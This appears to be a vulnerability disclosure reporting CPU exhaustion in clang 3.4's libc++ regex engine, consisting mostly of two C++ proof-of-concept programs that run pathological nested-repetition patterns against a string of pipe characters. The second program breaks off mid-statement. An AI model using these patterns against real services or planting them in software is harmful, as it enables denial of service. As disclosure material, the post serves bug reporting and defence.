        <pre>clang 3.4 objective regex resource exhaustion

I've discovered cpu exhaustion in regex implementation of libcxx.

PoC1:
----------------------------------------------
#include <iostream>
#include <regex> 
#include <string>

using namespace std;

int main() {
    try {
        regex r("(.*(.*){999999999999999999999999999999999})",
regex_constants::extended);
        smatch results;
        string test_str =
"|||||||||||||||||||||||||||||||||||||||||||||||||||||||";
        if (regex_search(test_str, results, r))
            cout << results.str() << endl;
        else
            cout << "no match";
    } catch (regex_error &e) {
        cout << "extended: what: " << e.what() << "; code: " << e.code() <<
endl;
    }

    return 0;
}

PoC2:
----------------------------------------------
#include <iostream>
#include <regex> 
#include <string>

using namespace std;

int main() {
    try {
        regex r("((((((.*(.*)(.*)(.*).*).*).*).*).*.*)findme)");
        smatch results;
        string test_str =
"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||";
        if (regex_search(test_str, results, r))
            cout << results.str() << endl;
        else
            cout << "no match";
    } catch (regex_error &e) {
        cout << "extended: what: " << e.what() << "; code: " << e.code() <<

    }

    return 0;
